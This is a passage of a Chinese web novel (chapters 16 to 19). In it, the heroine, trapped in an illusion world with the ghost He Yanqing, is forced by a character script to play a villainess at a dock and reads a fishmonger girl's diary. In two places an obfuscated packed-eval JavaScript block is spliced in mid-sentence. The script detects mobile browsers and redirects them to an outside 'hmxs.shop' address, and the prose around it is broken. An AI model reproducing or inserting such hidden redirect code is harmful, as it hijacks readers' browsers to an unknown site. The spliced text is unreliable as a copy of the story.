看见他面容的时候,唐约和廖欢都是一惊。 唐约不动声色地打量,但架不住廖欢嘴快,“少爷?你是少爷?” “少爷,您不认得我们啦?我们是乔小姐的表姐,在府上做客呢。” 唐约生无可恋地闭了闭眼。 她真想给廖欢的嘴钉上,眼前这人,虽然模样和贺砚清长得有几分相像,气质上却是大相径庭。 贺砚清的文化气质较重,眼前这人,很明显是草莽出生,痞里痞气。 再看周围景象,宽敞的空间里,讲话还带着回声,四周都是石头砌成的墙壁,潮湿的角落里生满了青苔,这里,冰冷又陈旧。 两道长条形的木桌上摆满了乱七八糟的碗盘,酒肉铺得满桌都是,没有哪个安安分分待在盘子里的。 再看面前人,各个面相凶神恶煞,光是那句“压寨夫人”就不简单,两人分明是进了土匪窝了。 可笑廖欢还在套近乎,唐约在这短短几分钟里,第二次栽廖欢手里了。栽得深。 “府上做客?”那长得像贺砚清的男人,把.玩着唐约的匕首,笑问:“来我这‘府上’做客的,还从没有过女人,既如此,欢迎美人来做客,我就做个地主之谊。” 他起身来,威风又潇洒地转过身 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“原来不是哑巴。也行,正好年龄也到了,还没成过家,刚好成个亲,也不算亏了美人。”男人在高处笑着,打趣。 唐约暗暗用指甲狠狠掐了廖欢一把,她差点“嗷”一嗓子,又不敢,硬生生憋出眼泪,就听唐约对那男人说:“成亲可以,但我提个要求。” “答应这么爽快?不会有诈吧?”嘴上在疑问,男人语气仍然轻松调笑。 “不会。”唐约站起身来拍拍身上的土,“把她放了。” 她指着廖欢。 憋着眼泪满腹委屈的廖欢突然愣住。 感动,太感动了,在这关键时刻,她的唐约姐,竟然会牺牲自己,保护她,她这辈子……不,指的是在幻境里的这辈子,都愿意为了唐约姐赴汤蹈火,肝脑涂地! 男人半个身子撑在自己的腿上,盯着下面的两人,满眼笑意,看看唐约,又看看廖欢,“就这样?嗯,这个平平无奇的女人,放就放了,媳妇说了算!” “欧吼~” “喔喔喔——” “三哥有媳妇咯!” 那三十九个人开始沸腾。 “你去找小黎,这里的定位坐标仔细记一下,这个什么山什么寨的去打听清楚,然后来救我。”唐约最后对廖欢交代。 “这是什么山?” 贺砚清抬眼去,距离南都最近的山,“叫终虎山。” “这山的名字也是后来才有的,大概在我出生时那几年,没什么名气,也没什么好风景。” 黎秋又想到南城那座终雾山,大概就是这山演变过来的。 “叫终雾山要更好听一些。”黎秋又随口道。 “哦!终雾山!”宣余想起了,“南城终雾山,五A景区啊。” 贺砚清想想,“终雾山也好。终虎山原本的寓意是权力终结的地方,但后来这座山也荒芜了,名字的由来也没什么意义了。” 黎秋又:“哦。” “阿云想去看看的话,等回去了我再带你上去。”贺砚清在这俩男高面前也不演了,直接叫小名,黎秋又无力反驳。 “为什么回去了才能去?现在不能去?”黎秋又没提起的兴趣,宣余来了劲。 “现在不是有正事要办吗!”池二浩戳他腰杆。 贺砚清笑笑,“不是,现在山上有土匪。可能还要过上几年,老爷子成为将军后,会去这座山上剿匪。” “哦!搞半天,贺老将军的头衔是剿匪得来的嗷!”宣余感慨,这年头,当官还挺容易的嘛。 黎秋又慢走了半步,打量了一下贺砚清。 贺老将军一身卸不掉的杀气,一丁半点也没叫贺砚清遗传去了。生于将门,他却是芝兰玉树,英气疏朗。 比他那莽汉子爹可好看太多了。 她长叹一口气,怎么就成了姨太太呢,要是少奶奶,她多少还能乐个几分钟,不至于时时刻刻提心吊胆。 “阿云?” 在这幻境里,没有老爷子的人,他要叫这小名就随他叫吧,别让别人知道她是他的姨娘就好。 “阿云?哪里不舒服?”贺砚清有些担忧。 生人进入这里面本就虚弱,更别说幻境中的幻境,不知道会对生人有什么影响。 这俩小伙子血气方刚的,看上去一点事也没有,贺砚清只担心黎秋又。 只是一只手在她身后不上不下,最后在她肩上轻轻点了一下,视线就快把黎秋又后背烫个洞。 “啊?没,没。”黎秋又其实是走神了,这才反应过来。 “就是这个鱼腥味越来越重了,闻着有点犯恶心。” 也难怪,几人说话间,就到了码头。 贺砚清不知从哪变出来一只小手帕递给黎秋又。 黎秋又嗅了嗅,手帕上带着一股淡淡的雨后竹香。 “乔姐姐,”池二浩把黎秋又拉开了半步,讲悄悄话:“你是真犯恶心,还是敷衍少爷呢?你刚才被这里的人设影响了,现在闻鱼腥味犯恶心,该不会也是人设作用吧?” “你还别说,昨晚那些鱼腥味我都没什么事。”黎秋又用那手帕,严严实实地捂住唇鼻,小声嘀咕。 “那我们可得小心点了,你现在这个人设,看起来好凶!”宣余凑过来,把池二浩拉开了一点。 黎秋又对天翻白眼。 . 已经到了黄昏落日时,码头上高矮错落的篷布顶上水渍淋漓,映着落日金光。 脚踩水靴的鱼贩子地上踢踏,满地都是稀泥、渔网、海产品身体组织,江水和鱼虾的腥咸,劳工的汗味,常年被浸泡的腐烂朽木,全部混杂在这里,成了这地方独一无二的标志。 客船像一只苍老的怪兽,还发出苟延残喘似的汽笛声,“呜——” 下客的码头和鱼贩们中间隔着一道尖刺围栏,能让他们互不相干。 从高处看,这头杂乱无序,那头是沉稳有致。 但乘客依旧步履匆匆,高贵的西洋蓬蓬裙和锃亮油光的皮鞋,就怕一不小心沾染上了这边的污泥。 这里肮脏,恶臭。 黎秋又感到厌恶。 她皱眉,又松开。 黎秋又小时候也是在农村长大的,她从不会看不起用劳动获得成果的朴实人民,她自己也是农民。 此时,那种打心眼里的厌恶和恶心,她不解又难受。 该死的人设作用! 知道黎秋又有些近视,池二浩小声给她指,“你看到那边的矮个子小孩吗?” “那个光着脚的,摔了一跤,又起来了,跑到那边去了。”池二浩在黎秋又耳边一边指,一边实时报道。 黎秋又不耐烦,“好了好了,我近视度数低,看得见,不是瞎了。” 鱼老二的补丁裤子被高高卷起,腿上糊的都是稀泥和污渍,暗红污渍也不知是泥水还是血水。 她一边帮着一个老汉把渔网收起来,一边用光脚丫子把地下的鱼虾碎片踢到一起,最后又全踢到水里去。 老汉跟她说了句什么,她点头,咧嘴笑得灿烂,就去坐到一边,从身旁的背篓里取出来一个饭盒。 看不清里面是什么,黑黑白白的糊做一团,鱼老二把筷子在腿弯搓了一把就掏出来开吃。 “呕……”黎秋又也不知怎么就这么犯恶心,只想干呕,她能感觉到自己大概一辈子都不会想要吃这些海味儿了。 走在前边儿的贺砚清顿住脚步,高大身影迎着夕阳像是颤了颤,忽地转过身来,眸色晦暗,背着光,黎秋又看不清他眼底的汹涌情绪,他微哑着声对黎秋又说:“我有个办法能让你好受一点。” 17. 第 17 章 码头杂乱无章的货箱,错落人影来来往往,远处映着夕阳的金色水光在黎秋又眼中闪烁。 她抬头,圆而通透的水光眸子望向贺砚清,波光一闪一闪,她深褐色的瞳孔一放一缩,贺砚清长睫垂着,视线灼热。 他正要开口,黎秋又把他给她的那手帕拿出来,在贺砚清眼前舞了舞,“谢谢哦,已经有一条了。” “你该不会让我一个鼻孔塞一条吧?” 贺砚清忍俊不禁,潋滟闪烁的金光下,黎秋又把手帕搓成细条,就准备当着他面塞鼻孔了,贺砚清从下面拽住手帕另一端。 “你总是躲我,我又不会吃了你。” 黎秋又双眼眨巴眨巴望向别处,心虚:说不定就吃了呢。 再说,虽然在这里没人认得他,身边又是自己人,她都容忍贺砚清叫她小名了,总不能由着他老是要拉自己手吧! 怎么着……他们也是娘跟儿子的关系。 “手给我?”贺砚清试探。 黎秋又手心朝上,递到贺砚清面前去。 她猛地一吸气,又差点干呕出来,朝前一“呕”,一口臭气熏到手掌上。 贺砚清捏着她手指,往自己跟前拉了一把,池二浩识相地拉着宣余赶紧往前走。 黎秋又就见贺砚清低下头,浅粉的唇缓缓靠近她手心,她连呼吸都憋住了。 哦!贺砚清是留洋少爷,肯定是学洋人那套的什么吻手礼,嗯,就是这么单纯。 黎秋又条件反射就想抽回手,但又怕贺砚清。 然而,贺砚清他,只是吹了一口气。 这口气像是一股温暖的流体,顺着她手心直往四肢百骸游走。 这男鬼怎么吹口气都那么暧.昧呢,害她一阵胡思乱想,黎秋又不禁老脸一红。 果然,这时候再一吸气,当真闻不到那些令她作呕的鱼腥味、潮湿味、汗味,神奇得很。 她又猛吸几口,惊奇地对贺砚清说:“真的闻不到了!好神奇!” “不过,我会不会就此失去嗅觉?” 贺砚清眼中的笑溢出来,看着黎秋又闪亮亮的双眼,他好想好想黎秋又能像曾经一样,开心时,把他的手牵起来,钻到他臂弯下,轻盈一旋,裙摆带出优雅活泼的圆弧。 他笑说:“不会,只是短暂的。” 池二浩和宣余不敢离得太远,不远不近,鬼鬼祟祟地盯着这边,黎秋又视线转出去。 太阳被火燎了屁.股,急急忙忙地跳到水里去,江面整个铺上了一层细碎的火星,仅仅几分钟的时间,现在的码头已经陆陆续续燃起了灯。 许多鱼贩卖了鱼,早早就收摊回家,鱼老二草.草吃过饭以后,又从背篓翻出来一本书,在蚊虫嗡嗡,灯光微弱到数鱼都费劲的油灯下看书,还掏出她那支只能握在手心里的铅笔,写写画画。 房子都烧了也没忘把笔带出来,黎秋又心底冒上来一股酸劲,要是自己在学校有这么努力,也不至于只能上个野鸡大学了。 “啧啧啧,看看人家。”宣余手劲沉重地拍在不爱学习的池二浩的肩上。 池二浩轻嗤:“你也好好学着点。” 贺砚清拎起手指,在两人脑袋上敲了一下,“跟着我学习那么久,连单词都记不住几个,成天就去招猫逗狗,明天记得把罚抄的单词拿给我看。” 最后这句话是对宣余说的。 宣余想要跟心软的少爷说说好话,宽限几天一点时间的,毕竟他们现在连晚上住哪的着落都没有,黎秋又脸跟前就开始闪金光。 宣余把贺砚清拉着背对着黎秋又,又是说好话又是撒娇的。 【秋兰曾丢了几本书,因是早已学过的,便没有在意。此时看见鱼老二竟在偷偷地看书,她顿时怒火中烧,两步上前,便撕了鱼老二手中的书。】 ——原来是恶毒女配剧本! 三人心中第一反应都是这个。 黎秋又眼角抽抽,“我是剧本一块砖,哪里需要哪里搬,凑人头来的吧?” 她难以置信,以至于最后几个字不自觉地音调拔高,还破了音。 贺砚清转过身来,宣余根本没来得及拦住,他没看见那几行金光闪闪的字,而是笑问黎秋又:“偷来的什么?” 谢天谢地这是个空耳大师。 黎秋又和贺砚清一会儿覷一眼台词,一会儿又看看贺砚清,两对儿眼睛七上八下的。 黎秋又:“书吧?她这书是偷来的吧?” 很好,池二浩竖起大拇指,无声赞叹:“乔姐姐有当恶毒反派的天分,污蔑人的话张口就来。” “何以见得?”贺砚清眸色更深了,他一向不喜欢别人没有证据胡乱指控,可面前这人是她。 黎秋又后知后觉,捂了捂嘴,但她心里并不是这么想的。 苍天可鉴,她真的只是想关心一下这个爱学习的可怜孩子,怎么就说出口的话全是酸溜溜的呢。 她是真的会被人设影响。 黎秋又赶紧朝宣余使眼色,宣余大喊一声,“啊哈哈,那我们过去看看不就知道了?” 于是和贺砚清二人就走上了前,黎秋又赶紧掏出自己的笔,把台词中,她撕的书,改成了笔。 笔字弯钩刚一结束,台词立即消散,黎秋又没当回事,把笔揣回了身侧口袋里,和池二浩跟上前面两人。 她自己不知道,在旁人看来,现在的黎秋又自带了盛气凌人的气场,像是算账似的,气冲冲就站到了鱼老二跟前。 鱼老二的眼睛和黎秋又有一点像,圆圆的眼睛,眼尾有些下弯,显得很无辜。 她见到黎秋又,连忙把书推到背篓里,站起身来,“秋兰,你怎么没去学校?吃饭了吗?” 黎秋又看她眼神于心不忍,任谁看了这样花脸猫,瘦条条,又楚楚可怜,还很努力的小女孩,都会心疼的,何况她这样了,还在问自己有没有吃饭。 但鱼老二却发觉黎秋又越来越愤怒,几息只见,她猛地从鱼老二手中夺过了那支仅剩两公分多的短铅笔。 这么细,直径甚至不足一公分,黎秋又抢过铅笔后,双手控制不住地要把这只铅笔,从纵向撕裂。 离谱啊!撕.笔? 她哭了,手疼,可是力气猛然增大,心里也是一股执着的劲儿,非要把这支笔竖着撕成两半不可。 黎秋又哭着哼出了声,对面的鱼老二也吓得不敢动,看着黎秋又的动作,她也吓得快哭了。 忽然从身后伸过来一只修长劲瘦的手,温温凉凉地覆在了黎秋又的双手上,包裹住她。 这一瞬间她突然就卸下了力气,手指疼得黎秋又大口喘气。 “我……对不起。”鱼老二也定定盯着黎秋又,嘴里不停地念着:“对不起,对不起。” 黎秋又渐渐缓过了呼吸,一双泪眼盯着那只包裹自己双手的大掌,又扭头去,看见了贺砚清眼里,难以理解的神情。 她完蛋了,该怎么解释啊,这不是她,这也不是乔挽云,ooc了吧! 天色彻底黑了。 黎秋又躲开贺砚清的视线,手抽出来,把拧疼了的手指握到掌心中去,对鱼老二说:“你怎么就过成这样?你要笔,我给你,你要学习,我教你,为什么要这么偷偷摸摸的?” 这句话她说得费劲,喉头还哽得喘不过气,说完她又猛地吸了口气,哪想,吸过一口气呛着了,一咳,竟咳出了一口老血。 “血!”黎秋又受到惊吓,一口气喘不及,晕了过去。 还好,失去意识之前,知道自己不会跌到这满地泥泞和鱼组织的地方,有人稳稳接住了她,把她打横抱起。 . 晕晕乎乎的,黎秋又听见小火炖煮的咕嘟声,听着就让人食欲大涨。 睁开眼时,她发现自己竟然是坐着的。 忒不会照顾病号了,怎么能让病人自己盘腿坐在蒲团上呢。 她打眼望了一圈,没看见两男高,倒是看见了银烛,在小火炉跟前,用汤匙搅着面前的汤。 舀起来的汤奶白浓郁,她看见里面有豆腐和鱼肉。 不过现在她什么也闻不到。 “小姐,二太太不让家里吃鱼,我们这样在屋里偷偷炖鱼汤,万一被发现了,肯定要挨责罚的。” 这里的银烛脸上没有僵硬的假笑,一面咽口水一面嘟着嘴。 黎秋又听见自己说:“怕什么,你当她狗鼻子啊,闻着味儿就来啦?” 她像是绑在躯壳里的,只能带着耳朵听,什么也做不了。 黎秋又明白了,自己现在大概是在做梦。 “嘘,”银烛食指掩唇,小声说:“小姐,你还别说,这个二太太,别的闻不见,闻鱼腥味那还真是狗鼻子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16741720|189106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “哦?”乔挽云的声音很有兴致:“展开说说?” 银烛冲乔挽云露出八卦的笑容,凑近了些,“咱院子里的池塘中是有鱼的,但在二太太会去的院子,全都在水道里封了网。” 其实这些小观赏鱼,在水里游,又常年有人打扫池塘,是闻不到鱼腥的。 二太太来到府里,迟迟没能怀上孩子,心里急,四处求医,中药疗补的方子换了一个又一个,一直每个动静。 有一年,少爷的同学得了些金贵的观赏鱼,少爷知道二太太闻不得这些,便投到了最外边院子的塘里。 结果次日早晨,二太太晨起就在院子里干呕,下人们都忧心,觉得这怕是二太太求子心切,得了青天垂怜。 府里上上下下都忙活着给她炖滋补汤药,又是搀扶着她赶紧回屋里休息,但谁都不提是否怀孕这件事。 因为老一辈人总说,疑似怀孕前三月,千万不能查,也不能声张,否则容易胎向不稳。 “信则有,不信则无?”乔挽云“噗嗤”笑出声来。 谁都知道,这么多年了,贺将军的长子贺砚清都二十五了,二太太到现在没怀上孩子,大概再过些年,就不可能了。 街坊明面上不敢说,私底下可都是传二太太生不出来,所以老将军才一年娶个新太太回来,就想再添个子嗣呢。 然而新进门的姨太太,时间最长的也没能活过半年,都说是二太太暗地里把人解决了,她善妒的名声响遍了南都。 “可不能这么说,当时连老爷都开始紧张二太太的身子了。”银烛讲话很小心。 屋外传来敲门声,是年轻男孩的声音:“十六太太在屋里吗?” 银烛去开门,门外站着一位拎着书箱的男孩,十七八岁的模样。 男孩吸了吸鼻子,疑惑了一瞬,看见屋内坐在小炉前的乔挽云,笑脸一扬,“十六太太先前找少爷要的《福尔摩斯》、《布朗神父》这些书,都找来了,少爷还寻了些同类型的书,够十六太太看很久了。” 乔挽云笑笑,叫银烛收下了书箱,问男孩:“少爷呢?我不是说过,叫他亲自来送书吗?怎么就让你来了?躲我呀?” “哪儿能啊。”男孩尴尬地嘿嘿笑,“少爷说,十六太太是姨娘,理应常来看看的,只是这段日子有些忙。” 乔挽云挥挥手,“去去去,回去吧,少爷回来了叫他来一趟,我又不会吃了他。” 男孩刚跨下台阶,二太太就气势汹汹地冲到了院里来,银烛赶紧钻进来找盖子把汤锅盖上,端到椅子底下去藏起来。 男孩喊了声“二太太”,二太太停下脚步,瞪他一眼,“你在这做什么?怀真现在工作,每天都很忙,你不去在他身边伺候着,跑小妖精这来干什么?” “十六太太先前借的书,少爷叫我找齐了给十六太太送来,这就走。” “借书?”二太太抬腿又往里走,“安安分分在家待着不行,还看什么书?” 乔挽云跨出房门,站在门口伸了个大大的懒腰,笑吟吟地望着台阶下方的二太太,“二太太午安呀,今日气色看上去很红润,是不是有喜啦?” 不光是男孩和银烛,就连好端端困在身体里的黎秋又都是一阵脊背发汗,这乔挽云,非常有本事,作得一手好死! “你!”二太太一口气上来,还没开始指责她制造出来的什么奇怪的味道,就指着乔挽云的鼻子,“你,你!” 猛地一股鱼汤的味道就钻进她鼻子,然后,“呕——” 她撑着手边的围栏,朝池子里干呕,身边的丫头把二太太搀着,连忙扯了手帕出来递给她。 “哟,还真是有喜了,”乔挽云嗔了那丫头一眼,指着她训斥:“这个样子,还不赶紧带二太太回去好好养着,出来吹风做什么?到时候贺老将军的孩子有个什么问题,你有几颗脑袋能掉!” 她也赶紧两步下了台阶,去扶二太太,却被二太太一巴掌掀开,厌恶的眼神就快化作实质把黎秋又都割伤了。 乔挽云却笑得更开心了,“二太太千万要保重好身子,下午我就出去请个大夫来府里,给二太太把把脉,再开些护胎安神的药。” 乔挽云的一双鲜活明眸,在二太太眼里格外扎眼,隔着厚重的光阴,黎秋又感受到了她眼中的杀意。 难道乔挽云就卒于此? 18. 第 18 章 黎秋又恢复了嗅觉,闻到了温暖的药香味,梦中那个咕嘟咕嘟的声音仍然还在,睁眼时,没看见什么银烛什么二太太的,金灿灿的台词在她眼前晃晃跳跳。 【逢城郊匪乱,药价陡增。连下几场雪,秋兰生了病,回家养病,却发现了鱼老二的日记。】 知道修改台词也无法长久影响人物,黎秋又已经有些疲惫了。 顺手去枕头下面找笔时,才感觉到自己手动不了。 整个手腕都被箍着,她撑起脑袋去看,才发现贺砚清正攥着她的手,刚上完药,把透亮的药膏放到桌上去,转过来,一双深沉的眸望着她,神色中,有说不清道不明的伤感。 黎秋又突然想到了每次都能让她“歘”地哭出来的那种铺天盖地的悲伤,莫名其妙,又无从避免,好在后来没再犯这毛病了。 贺砚清抓得并不紧,只是黎秋又实在没力气。 她赶紧扭头看向自己的台词,果然,没等到她改字,台词就消散了。 看贺砚清的模样,应该是看不见台词的,黎秋又松一口气。 “醒了,手还疼吗?” 手倒是不怎么疼了,她看了眼自己被包扎起来的手指,一直被贺砚清握着,察觉到她的视线,贺砚清松开了手。 “我感觉有点头疼。” 是啊,她病了,她现在是病秧子秋兰。 四周又是一间陌生屋子,与之前鱼老二的屋子差不多,也是黑漆漆的一间。 床的旁边是陈旧的木头桌子和凳子,再往外看,就是一只大水桶,里面还有鱼嘴张合的声音,大水桶的旁边,一个小灶台,上面燃着小火,咕嘟咕嘟熬着药,浓郁的药香灌满了整间屋子。 黎秋又躺回床上了,这是发烧的感受,脑袋昏昏沉沉,朝贺砚清偏偏脑袋,半眯着眼,非常虚弱的样子,“贺砚清,我好像是发烧了。” 贺砚清站起来,一手撑在黎秋又耳边,一手去探她额头,黎秋又朝里面躲了躲,“你又不是人,没有体温,怎么能感受到我是不是发烧?” 灶上的咕嘟声越来越浓稠,跟岩浆在冒泡似的,贺砚清一时无言,好一会儿,他坐在了床沿,“我不是人,所以我的手可以给你降温。” 黎秋又额间冒冷汗,难以确定是发烧更严重了,还是因为恍惚间说错话,后怕的。 “对不起。”黎秋又亡羊补牢,但愿贺砚清他大人不记小人过。 贺砚清眉眼间闪过一丝心疼,又笑了笑,清风朗玉一般,“不要对我说对不起,只要你在这里,我永远不会生气。” “那你还拧了那么多十六太太。”黎秋又闭上眼,咕哝了一句。 贺砚清:“……” “她们都不是你。” 黎秋又:“所以你不会杀我,之后也不会,是吗?” 贺砚清轻声:“你烧糊涂了,我怎么可能会伤害你?永远不会的。” “那你发誓。”黎秋又很想说自己应该又被人设硬控了,然而并不是,她可太懂得蹬鼻子上脸了。 以往每每生病,她就会理所应当地向外婆提要求,这种时候,不论说什么,外婆都会答应她的。 病了口淡,就想要吃口北方老家的腌白菜,外婆跑去认识的北方邻居,挨家挨户问着找; 想偷懒多睡几天懒觉,外婆就打给学校替她请假,从不在学业上逼迫她; 还想要外婆在她睡醒后,可以准备个惊喜礼物在枕边,手腕上的那只怀表,就是当时在生病时,外婆给她准备的。 都是些微不足道的要求,她也没什么非常贪心的东西。 而现在,她的脑袋实在是转不过来,唯一想要的就是自己的小命。 “我发誓,贺砚清不论是上辈子,这辈子,下辈子,永远,永远不会伤害乔挽云。” 黎秋又生无可恋,她还能说啥啊,贺砚清已经给足了面子,要让贺砚清知道她不是乔挽云,还不是一个死。 刚才在梦里见到了正儿八经的乔挽云,和黎秋又的性子天差地别,她也不知道贺砚清是怎么就把她当成了乔挽云的,她开始祈祷这样的梦多做点,好让她早日了解乔挽云的人设。 “秋兰,你醒了。”鱼老二直接推门进来,把灶上的药倒出来,给黎秋又端过来。 她准备喂给黎秋又的,又看贺砚清一直坐在黎秋又身边,有些不好意思,就把药碗递给贺砚清。 “让你男朋友喂你吧,我还要去卖鱼。” 鱼老二走近,黎秋又发现这个时候的鱼老二已经长大了,看上去已经十六七,是个亭亭玉立的大姑娘。 果然是那个见鱼就吐的二太太,原来二太太年轻时,还是很好看的,眉清目秀,仔细瞧瞧,竟然还带了一点妆。 “鱼老二,”黎秋又叫住了她,“别给我花钱买药了,你自己把钱存着,不喜欢鱼的味道就不要再卖鱼了。” 鱼老二的神色闪过一丝怪异,随后又冷笑一声,“秋兰,你好好的。”说完就离开了屋子。 应该是过去了数十年,两人的关系竟然更紧张了。 贺砚清端着药碗,没有要给黎秋又喂的意思,而是放到了桌上,推到那药膏的后面。 确实不太妥当哈,黎秋又要坐起身来,自己喝药。 她伸了伸手,想叫贺砚清把汤药递给她,贺砚清却看着她笑,“怎么这么乖?叫你喝药你就喝?是饿了吗?” 黎秋又睁圆了眼,“我病了啊我!不喝药怎么能好呢?发烧真烧成傻子了怎么办?” 说到傻子,黎秋又突然还有点担心那傻子的。 贺砚清拦住了黎秋又非要去端药碗的手,“你没有生病,生病的是秋兰。” “可难受的是我。” 贺砚清视线在黎秋又脸上又定了一会儿,因为发着烧,双颊还有些泛红,一双眸子也不知怎么就泛着水光,光这么看着,贺砚清的心都快化成一捧柔柔秋雨。 “我有个办法能让你好受些。” “哦。”黎秋又朝他举起双手。 早说啊。 贺砚清把她手按下去,“这个,吹手心不管用了。” “那要怎么样啊?” 贺砚清:“你闭上眼。” 黎秋又乖乖闭眼,心里祈祷:你可千万别亲上来啊,你要是亲我一口,我就……无能为力。 但一股轻柔温凉的轻风,从她眉心灌入,像一点凉凉的雪花点在那里,被体温化开,转瞬消失无感。 黎秋又再一睁眼,昏沉的脑袋和沉重的眼皮在那瞬间都恢复了正常,跟点了清凉油似的管用。 “真有用!你好厉害呀贺砚清!” 贺砚清笑得骄矜。 黎秋又不忘正事,身体舒坦了,就赶紧从床上蹦下来,“那俩小子呢?” “这个时候正闹匪患,我让他们去打听打听我爹这时候在哪。” 这屋子实在小,一眼就能看完,床边有一只小箱子,黎秋又想打开看看,发现上了锁。 按理说台词让她看见日记,那她就一定会看到日记,应该不会设置难办的坎吧? 她起身后,贺砚清顺手把她刚才胡乱掀开又堆在那里的被子叠好,问她:“你找什么?” 黎秋又有点不想理他,视线一转,看见贺砚清手里不知从哪来一个本子,她赶紧凑上前,“哪来的?” 贺砚清指了指枕头下面,她那红色围巾还整齐叠在枕边,黎秋又无语,从他手里接过本子,坐床上看,又悄摸地把手伸到枕头底下去,找自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16755468|189106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的笔……笔呢? 她又在自己身上摸了两下,才摸到一直卡在袖子里的笔。 到这里来后衣服都没有换,还是那一身,身上长裙袖口束紧,但袖子宽大,笔在里面一直晃荡,她干脆把笔掏出来,像最开始一样,挽了发,把笔簪上去。 鱼老二的字迹比小时候写得好了很多,很工整,没有连笔,也没有错字。 只是比小时候写得还要的简洁,内容复杂字数又少,黎秋又感觉读起来废老鼻子劲了,前因后果都靠简单的已知条件去猜。 9月17,鱼无,银元送张娘,孩子痢疾。 9月20,鱼无,秋兰买裙。 9月21,一个奇怪的人,鱼卖光。 9月22,那人又来。 往后翻,内容都是同样简洁,但黎秋又看见了二太太善良的一面,以及她与一个男人从相识到渐渐熟悉,再到只剩一层窗户纸的过程。 那人的身份没有在日记中体现,但能看出来,是一位人高马大的英俊男人。 黎秋又和贺砚清凑在一起看日记,忽然有种偷摸做贼的感觉。 但贺砚清看得很坦荡。 大概是他长得太端方仪正。 黎秋又指了指日记中的“那个男人”,对贺砚清说:“没准这就是老爷呢。” 贺砚清皱眉疑惑,“不一定。” “二太太在我三岁那年才入门。” “那这么说,这男人是二太太的初恋咯。”黎秋又心底隐隐有些雀跃,像是发现了什么豪门秘史似的。 写小说时她更擅长描述恐怖氛围中的心理,在人物关系方面一直是硬伤,因为身边很少接触到除她和外婆的情谊之外的感情。 略微一琢磨,黎秋又补充:“不过也有可能你这时候已经出生了呢?”因为鱼老二的日记里没有写年份。 贺砚清靠近黎秋又,就着她捧日记的手,向后翻了几页,指了指日记中的“剿匪”二字。 4月16,他进了军队,准备剿匪。 4月17,他说回来娶我。 “我爹是在剿匪这年,和我妈结婚的,也就是这个冬之后。” “我要后年才能出生。” 不知道贺砚清的哪句话戳到她笑点,黎秋又没忍住“噗嗤”笑出来,笑得上气不接下气,贺砚清无奈地在她背后拍拍顺气。 “不知道我们能不能看见你出生时的样子。”黎秋又看着眼前正气俊朗的贺砚清,开始幻想他小腿乱蹬的年纪。 她笑着笑着,贺砚清眉目也盛了笑意,他手掌自然而然落在黎秋又后背,又忽听他说:“不怕我了?” 黎秋又骤然瘪嘴,一双眼里的笑还没来得及收回,“不怕了。” 贺砚清眼中都是柔情。 木桶里的鱼甩了甩尾巴,砸得桶壁“咚”得一声,又开始咕嘟咕嘟吐泡。 贺砚清看着那水桶沉思,他也不清楚当年上一辈人发生过什么,后来需要他在意的事太多,上辈人的恩怨对他来说实在不重要。 父亲在贺砚清生母去世一年后找的二太太做续弦。 从贺砚清记事以来,二太太和父亲的感情很好,大概是因为贺砚清,贺振江才一直没有将二太太抬为正房。 不过对二太太后来的地位来说,正房不正房的也不太重要。 “你可以跟我讲讲‘鱼腹传情’的故事吗?”黎秋又偏着脑袋凑到贺砚清眼前去。 看样子黎秋又确实是不怕他了。 贺砚清心中有了些猜测,手指轻点了点黎秋又的脑袋,起身,准备带着她出门。 站在门口,给黎秋又把围巾围好,连她脑袋都裹在里面。 “或许,我们正在经历的,就是这件事。” 19. 第 19 章 他们其实感受不到这里的温度,但冬风凌冽,黎秋又是人,柔嫩的脸部皮肤会被这里的风刮伤,贺砚清用围巾把她整个脑袋捂着,只露出一对儿温润的圆眼,还让她走在自己身后。 巷子还是最开始那个巷子,街上的雪都被踩成了泥泞,黎秋又把长裙提起来些,小皮鞋谨慎踏上地面。 她怕滑。 一开始攥了攥贺砚清的袖子,贺砚清顿住,想要反过来扶着她的手又抽了回去。 于是黎秋又大着胆子两手抓着贺砚清手腕,小皮鞋不防滑,她小心地在雪地里迈小碎步。 南方积雪不厚,相比北方少太多了,再过百年,这边也几乎不会再下雪了。 这条街太偏远,无人管理,有些家门前的雪被扫到墙根,堆起来,有些人家只管踩,不打扫。 天冷了出摊的人也少,看上去冷冷清清,贺砚清没有带着她去码头,而是朝着那座钟楼的方向走。 黎秋又不问原因,只管跟着。 鱼老二的日记停留在1月17日,现在还是冬季,时间并没有过去很久,这段日子应该正是剿匪的时候。 现在一抬头就能看见的那座山,就是先前贺砚清说上面有土匪的山。 风小了些,路过了钟楼,贺砚清也没有带黎秋又上去,继续往前走。 黎秋又终于没忍住问了一句:“我们去哪?” 贺砚清慢了两步,转过来把黎秋又有些松掉的围巾又裹了裹,才走在她身边,“带你去我出生的地方。” 黎秋又:“……” 果然如宣余他们所说,两人从这条街回将军府,走了挺久。 黎秋又问他:“贺砚清,你不能飞吗?” 贺砚清笑:“走累了?” “也不是,就是觉得无聊。”整条街道冷冷清清。 在这里她好像不太能感觉到累,就是太安静,先前贺砚清的话不是挺多么,这会儿倒是不讲话了。 “你看那里,”贺砚清指了一处荒废的小院,“后来来了一户人家,把院门扩宽了些,支了摊子出来,卖早餐。” “从前你很喜欢吃这里的糯米团子,上面沾少许白糖,个头小,一口一个。” “你带回去给家里的厨子尝,厨子就给你变着花做些花香味,果香味的。” “但你就是不喜欢,还是喜欢吃他们家的。” 黎秋又心道乔挽云的喜好和她还真挺像的。 黎秋又:“那你呢?” 